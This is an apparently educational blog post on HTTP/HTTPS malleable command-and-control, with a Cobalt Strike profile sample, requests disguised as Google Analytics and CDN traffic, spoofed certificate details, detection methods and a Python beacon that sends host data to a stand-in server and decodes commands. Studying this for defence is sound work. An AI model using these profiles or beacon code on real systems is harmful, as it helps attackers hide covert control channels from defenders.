cyberrscourse

Posted on Sep 16

HTTP/HTTPS Malleable C2: The Chameleon of Network Communications

#cybersecurity #redteam #ethicalhacking #cyberrscourse

Author: @cyberrscourse | Cybersecurity Education & Research

Published: September, 2026

⚠️ LEGAL WARNING: The techniques described in this article are for educational purposes only. Unauthorized access to computer systems is illegal under federal and international law (18 U.S.C. § 1030 - Computer Fraud and Abuse Act). Only perform security testing on systems you own or have explicit written authorization to test.

What is Malleable C2?

Imagine you're a spy trying to send secret messages through enemy territory. You wouldn't use a bright red envelope labeled "SECRET SPY STUFF," right? You'd disguise your messages to look like everyday mail. That's exactly what Malleable Command and Control (C2) does in the digital world.

Command and Control (C2) is a communication channel between:

A compromised system (the "agent" or "beacon")
A remote server controlled by security professionals or attackers (the "C2 server")

Malleable C2 takes this a step further—it allows complete customization of how this communication looks on the network, making it blend in with legitimate traffic.

Why HTTP/HTTPS?

HTTP and HTTPS are the backbone of web traffic. Every time you browse a website, check email, or stream a video, you're using these protocols. This creates the perfect camouflage:

Volume: Billions of HTTP/HTTPS requests happen every second
Legitimacy: Firewalls and security tools expect to see this traffic
Flexibility: HTTP headers, body, and parameters can carry hidden data
Encryption: HTTPS adds a layer of encryption, making inspection harder

How Does Malleable C2 Work?

The Traditional Approach

Older C2 frameworks used predictable patterns:

GET /beacon.php?id=12345 HTTP/1.1
Host: malicious-server.com
User-Agent: BeaconAgent/1.0

Security tools could easily spot this: weird user-agent, suspicious URI patterns, uncommon endpoints.

The Malleable Approach

With malleable C2, you can make traffic look like anything:

Example 1: Disguised as Google Analytics

GET /__utm.gif?utmac=UA-123456&utmhn=example.com&utmcs=UTF-8 HTTP/1.1
Host: www.google-analytics.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: image/gif, image/jpeg, */*

Example 2: Disguised as jQuery CDN Request

GET /jquery-3.6.0.min.js HTTP/1.1
Host: code.jquery.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Referer: https://legitimate-looking-site.com

The actual commands and data are hidden inside what looks like normal web traffic.

Technical Deep Dive

Malleable C2 Profile Structure

A malleable C2 profile defines transformation rules for:

HTTP GET Requests (checking in, receiving tasks)
HTTP POST Requests (sending data back)
HTTP Headers (user-agent, cookies, custom headers)
HTTP Body (data encoding, formatting)
Server Responses (what the C2 server sends back)

Profile Example (Cobalt Strike syntax):

http-get {
    set uri "/search /news /updates";

    client {
        header "Accept" "text/html,application/xhtml+xml";
        header "Host" "legitimate-cdn.com";

        metadata {
            base64url;
            prepend "session=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "text/html;charset=UTF-8";
        header "Server" "nginx/1.18.0";

        output {
            base64;
            print;
        }
    }
}

What's happening here?

URIs: Beacon randomly picks from /search, /news, or /updates
Metadata encoding: System info is base64url-encoded, prefixed with "session=", and sent as a Cookie
Server response: Commands come back base64-encoded, looking like HTML content

Data Transformation Pipeline

Raw Data → Encoding → Insertion → Network → Extraction → Decoding

Encoding options:

Base64 / Base64url
NetBIOS encoding
Hex encoding
Custom XOR masks
Compression (gzip)

Insertion points:

URI parameters (?id=...)
Headers (Cookie, Referer, Custom)
HTTP body (form data, JSON, XML)
File uploads (multipart/form-data)

HTTPS: Additional Stealth Layer

HTTPS wraps everything in TLS encryption:

Client → [TLS Handshake] → Server
       ↓
   [Certificate Validation]
       ↓
   [Encrypted HTTP Traffic]

Key advantages:

Deep Packet Inspection (DPI) can't read packet contents
Certificate pinning can make C2 server look like legitimate services
TLS fingerprinting can mimic popular applications

Example certificate mimicry:

Subject: CN=*.google.com
Issuer: CN=GTS CA 1C3
Valid: 2026-08-01 to 2026-10-24

To a casual observer, this looks like Google's certificate.

Real-World Applications

Red Team Operations (Authorized Security Testing)

Simulating advanced persistent threats (APTs)
Testing detection capabilities
Training blue teams

Threat Intelligence

Understanding attacker techniques
Reverse engineering malware samples
Building detection signatures

Incident Response

Analyzing compromised systems
Tracing C2 infrastructure
Attribution and threat hunting

Detection Techniques

Despite the disguise, defenders have methods:

1. Behavioral Analysis

Beaconing patterns: Regular intervals (every 60s, 5min)
Traffic volume: Unusually consistent packet sizes
Timing: Requests at odd hours

2. Certificate Analysis

Self-signed certificates
Mismatched domain names
Unusual certificate authorities

3. JA3/JA4 Fingerprinting

TLS handshakes have unique fingerprints:

JA3: 771,49200-49196-49192-49188-49172-49162,0-10-11-13-35,23-24-25,0

4. Network Flow Analysis

Uncommon destination IPs
Geographic anomalies
Peer reputation

5. Endpoint Detection

Memory analysis
Process injection detection
Anomalous network connections from processes

Code Example: Simple HTTP Beacon Simulation

import requests
import base64
import time

C2_SERVER = "https://legitimate-looking-cdn.com"
BEACON_INTERVAL = 60  # seconds

def encode_data(data):
    """Base64 encode and format as cookie"""
    encoded = base64.b64encode(data.encode()).decode()
    return f"session={encoded}"

def beacon_check_in():
    """Send heartbeat to C2 server"""
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml',
        'Cookie': encode_data('HOSTNAME|USER|IP')
    }

    try:
        response = requests.get(
            f"{C2_SERVER}/news",
            headers=headers,
            timeout=10
        )

        if response.status_code == 200:
            # Extract and decode commands
            commands = base64.b64decode(response.text)
            return commands
    except:
        pass

    return None

# Main beacon loop
while True:
    commands = beacon_check_in()
    if commands:
        # Execute commands (simplified)
        print(f"Received: {commands}")

    time.sleep(BEACON_INTERVAL)

Defensive Recommendations

Deploy TLS Inspection (where legally/ethically appropriate)
Monitor for beaconing patterns using SIEM tools
Implement network segmentation
Use endpoint detection and response (EDR) solutions
Maintain threat intelligence feeds
Regular security awareness training
Whitelist known-good applications (application control)

Ethical Considerations

Malleable C2 is a dual-use technology:

✅ Legitimate: Authorized penetration testing, security research
❌ Malicious: Unauthorized access, data theft, espionage

Always ensure:

Written authorization before any testing
Clear scope definitions
Compliance with laws (CFAA, GDPR, etc.)
Responsible disclosure

Conclusion

HTTP/HTTPS Malleable C2 represents the cat-and-mouse game between attackers and defenders. Understanding how traffic can be disguised helps both:

Red teams create realistic simulations
Blue teams build better detection

The key takeaway: Security is about patterns, behaviors, and anomalies—not just signatures. As defenders, we must think like attackers to stay ahead.

Further Reading:

Cobalt Strike Malleable C2 Documentation
MITRE ATT&CK: Command and Control (TA0011)
RFC 2616 (HTTP/1.1 Specification)
TLS 1.3 RFC 8446

Tools to Explore:

Cobalt Strike (commercial)
Mythic Framework (open-source)
Sliver (open-source)
Wireshark (traffic analysis)
Zeek (network security monitor)

About the Author

@cyberrscourse specializes in offensive security research, reverse engineering, and low-level systems development. With expertise in memory operations, hooking techniques, and C2 framework analysis, cyberrscourse provides in-depth technical content for security professionals and researchers.

Connect with cyberrscourse:

Dev Platform: @cyberrscourse
Medium: @cyberrscourse
Topics: Malware Analysis | Reverse Engineering | Red Team Operations | C2 Frameworks | Binary Exploitation

More articles by cyberrscourse:

Advanced Memory Manipulation Techniques
Hooking & Injection Methods Deep Dive
Process Hollowing and EDR Evasion
Malleable C2 Profile Development

For cybersecurity training, research, and technical deep dives, follow @cyberrscourse across platforms.

DEV Community